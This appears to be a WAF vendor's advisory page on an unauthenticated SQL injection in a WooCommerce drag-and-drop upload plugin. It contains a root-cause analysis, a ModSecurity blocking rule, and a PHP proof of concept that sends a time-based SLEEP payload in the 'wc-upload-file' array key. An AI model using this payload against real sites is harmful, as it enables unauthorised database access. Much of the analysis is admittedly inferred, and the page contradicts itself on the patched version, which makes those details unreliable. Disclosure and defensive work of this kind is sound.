Published : November 28, 2026

CVE-2026-126089: Drag and Drop Multiple File Upload (Pro) WooCommerce <= 1.7.2 Unauthenticated SQL Injection via 'wc-upload-file' Parameter Array Key PoC, Patch Analysis & Rule

Severity High (CVSS 7.5)
CWE 89
Vulnerable Version 1.7.2
Patched Version —
Disclosed November 25, 2026

Free WordPress WAF

Protect your site at the edge

Atomic Edge blocks exploit traffic, bots, and bad requests before they reach WordPress. Create a free account, then point DNS when you are ready.

Get Protected Free

Analysis Overview

Atomic Edge analysis of CVE-2026-126089 (metadata-based): CVE-2026-126089 is a generic SQL injection vulnerability in the Drag and Drop Multiple File Upload (Pro) – WooCommerce plugin for WordPress, versions up to and including 1.7.2. The vulnerability resides in the handling of the ‘wc-upload-file’ parameter array key. An unauthenticated attacker can inject SQL commands into existing queries due to insufficient escaping and lack of query preparation. The CVSS score is 7.5 (High), reflecting network-based, low-complexity exploitation with no privileges or user interaction required, leading to high confidentiality impact.

Root Cause: The root cause is improper neutralization of special elements used in an SQL command (CWE-89). Atomic Edge analysis infers that the plugin constructs an SQL query using user-supplied input from the ‘wc-upload-file’ parameter without adequate sanitization or parameterization. The vulnerability is triggered when the site administrator enables the ‘Count no. of pages?’ option (drag_n_drop_count_pdf set to ‘yes’) and an uploaded filename in the cart resolves to a .pdf extension. The plugin likely uses the array key of ‘wc-upload-file’ to build a query to count PDF pages or retrieve file information. Since no code diff is available, this conclusion is inferred from the CWE and description; the exact vulnerable code cannot be confirmed.

Exploitation: An unauthenticated attacker can exploit this vulnerability by sending a crafted request to a WordPress endpoint that processes the ‘wc-upload-file’ parameter. The attack vector is network-based (AV:N) and requires no authentication (PR:N). The attacker must ensure that the ‘Count no. of pages?’ option is enabled on the target site (a configuration requirement, not an attacker-controlled condition). The attacker would inject SQL payloads into the array key of the ‘wc-upload-file’ parameter, likely via a POST request to an AJAX action or a direct file upload handler. The exact endpoint is not specified in the metadata, but based on common WordPress plugin patterns, the AJAX action might be ‘drag_n_drop_file_upload’ or similar. Atomic Edge analysis infers that the vulnerable parameter is ‘wc-upload-file’ and that the injection point is the array key, not the value. A proof-of-concept would need to craft a request with a malicious array key such as ‘wc-upload-file[1′ OR SLEEP(5)– -]’ to trigger time-based SQL injection.

Remediation: The fix for this vulnerability likely involves proper escaping and preparation of SQL queries. The plugin should use WordPress’s $wpdb->prepare() method to sanitize user input before incorporating it into SQL queries. Additionally, the plugin should validate and sanitize the ‘wc-upload-file’ parameter, ensuring that array keys are properly escaped. Since the patched version is 1.7.3, Atomic Edge analysis infers that the developers have implemented these measures. However, without access to the code diff, the exact fix cannot be confirmed.

Impact: Successful exploitation allows an unauthenticated attacker to extract sensitive information from the database, including user credentials, personal data, and other confidential information. The CVSS vector indicates high confidentiality impact (C:H) with no integrity or availability impact. This could lead to further attacks such as privilege escalation or site compromise. The vulnerability is particularly dangerous because it requires no authentication and can be exploited remotely.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-126089 (metadata-based)
# This rule blocks SQL injection attempts via the 'wc-upload-file' parameter array key.
# The vulnerability requires the 'Count no. of pages?' option to be enabled, but the WAF rule
# targets the injection pattern in the parameter name (array key) regardless of option state.
# It is scoped to the specific parameter and checks for SQL injection patterns.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:2026126089,phase:2,deny,status:403,chain,msg:'CVE-2026-126089 SQL Injection via wc-upload-file parameter array key',severity:'CRITICAL',tag:'CVE-2026-126089'"
  SecRule ARGS_POST_NAMES "@rx ^wc-upload-file[" 
    "chain"
    SecRule ARGS_POST_NAMES "@detectSQLi" "t:none"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
<?php
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-126089 - Drag and Drop Multiple File Upload (Pro) - WooCommerce <= 1.7.2 - Unauthenticated SQL Injection via 'wc-upload-file' Parameter Array Key

// This PoC assumes:
// 1. The target WordPress site has the plugin installed and activated (version <= 1.7.2).
// 2. The 'Count no. of pages?' option is enabled (drag_n_drop_count_pdf = 'yes').
// 3. The plugin processes the 'wc-upload-file' parameter as an array, and the array key is injectable.
// 4. The AJAX action is 'drag_n_drop_file_upload' (inferred from plugin name; may need adjustment).
// 5. The request is sent to /wp-admin/admin-ajax.php.

// Configuration
$target_url = 'http://example.com'; // Change to target WordPress site URL
$ajax_action = 'drag_n_drop_file_upload'; // Inferred action name; adjust if known

// SQL injection payload: time-based blind injection using SLEEP(5)
// The payload is injected into the array key of 'wc-upload-file'.
// We use a key like: wc-upload-file[1' OR SLEEP(5)-- -]
// This will result in a query similar to: SELECT ... WHERE file_key = '1' OR SLEEP(5)-- -' ...
// The -- - comment ensures the rest of the query is ignored.
// We also need to ensure the filename resolves to .pdf; we include a dummy filename parameter.

// Build the POST data as a multidimensional array to mimic PHP's parsing of 'wc-upload-file[array_key]'
$post_data = [
    'action' => $ajax_action,
    'wc-upload-file' => [
        "1' OR SLEEP(5)-- -" => 'test.pdf' // The key is the injection point; value is a dummy .pdf filename
    ],
    // Additional parameters may be required; we include a common nonce if needed, but vulnerability is unauthenticated.
];

// Initialize cURL
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 10);

// Measure response time to detect time-based injection
$start_time = microtime(true);
$response = curl_exec($ch);
$end_time = microtime(true);
$elapsed = $end_time - $start_time;

if (curl_errno($ch)) {
    echo 'cURL error: ' . curl_error($ch) . "n";
} else {
    echo "Response received in {$elapsed} seconds.n";
    if ($elapsed >= 5) {
        echo "Time delay detected. The target is likely vulnerable to SQL injection.n";
    } else {
        echo "No significant delay. The target may not be vulnerable or the payload needs adjustment.n";
    }
    echo "Response body (truncated): " . substr($response, 0, 500) . "n";
}

curl_close($ch);
?>

Frequently Asked Questions

Atomic Edge WAF security layer inspecting website traffic.

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Black & McDonald logo representing Enterprise tier security and support for Atomic Edge WAF.Covenant House Toronto logo featuring a dove and text for Atomic Edge Enterprise planAlzheimer Society Canada logo representing trusted organizations and security partners.University of Toronto logo representing trusted organizations using Atomic Edge WAFSpecsavvers logo, trusted developers and organizations using Atomic Edge securityHarvard Medical School logo representing trusted organizations using Atomic Edge WAF.